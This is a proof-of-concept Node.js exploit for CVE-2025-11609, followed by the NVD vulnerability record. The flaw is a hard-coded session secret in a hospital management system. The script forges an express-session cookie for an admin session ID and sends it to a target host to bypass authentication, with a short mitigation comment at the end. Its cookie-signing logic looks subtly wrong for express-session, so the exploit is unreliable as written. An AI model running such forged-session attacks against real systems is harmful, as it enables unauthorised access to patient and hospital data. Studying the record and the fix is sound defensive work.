CVE-2025-11609

/* CVE-2025-11609 - Hospital Management System Hard-coded Secret PoC * Vulnerability: Hard-coded cryptographic key in express-session secret parameter * Affected: code-projects Hospital Management System 1.0 * The secret is hardcoded as "secret" in the express-session configuration */ const crypto = require('crypto'); const express = require('express'); const session = require('express-session'); // The hardcoded secret used in the vulnerable application const HARDCODED_SECRET = 'secret'; // Function to forge a valid session cookie using the known hardcoded secret function forgeSessionCookie(sessionId) { // express-session uses HMAC-SHA256 to sign the session ID const signature = crypto .createHmac('sha256', HARDCODED_SECRET) .update(sessionId) .digest('base64') .replace(/=+$/, '') .replace(/\//g, '-') .replace(/\+/g, '_'); const cookieValue = Buffer.from(sessionId).toString('base64') .replace(/=+$/, '') .replace(/\//g, '-') .replace(/\+/g, '_'); return `s:${cookieValue}.${signature}`; } // Example: Forge a session cookie for admin user const targetSessionId = 'admin_session_12345'; const forgedCookie = forgeSessionCookie(targetSessionId); console.log('Forged Cookie:', forgedCookie); // Use the forged cookie in an HTTP request to bypass authentication const http = require('http'); const options = { hostname: 'target-hospital-app.com', port: 80, path: '/dashboard', method: 'GET', headers: { 'Cookie': `connect.sid=${forgedCookie}`, 'User-Agent': 'Mozilla/5.0' } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { console.log('Response:', data); }); }); req.on('error', (e) => { console.error(`Error: ${e.message}`); }); req.end(); /* * Mitigation: Replace the hardcoded secret with a strong, randomly generated * value stored in environment variables or a secrets management system. * Example fix: * app.use(session({ * secret: process.env.SESSION_SECRET || crypto.randomBytes(64).toString('hex'), * resave: false, * saveUninitialized: false, * cookie: { secure: true, httpOnly: true, sameSite: 'strict' } * })); */

{"cve": {"id": "CVE-2025-11609", "sourceIdentifier": "[email protected]", "published": "2025-10-11T18:15:30.093", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in code-projects Hospital Management System 1.0. Affected is the function session of the component express-session. This manipulation of the argument secret with the input secret causes use of hard-coded cryptographic key\r . The attack can be initiated remotely. The attack is considered to have high complexity. The exploitability is told to be difficult. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:P/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:hospital_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "78B5844D-A96F-45C9-A4AB-B6188C62332B"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Hospital%20Management%20System.md", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327932", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327932", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.672589", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Hospital%20Management%20System.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}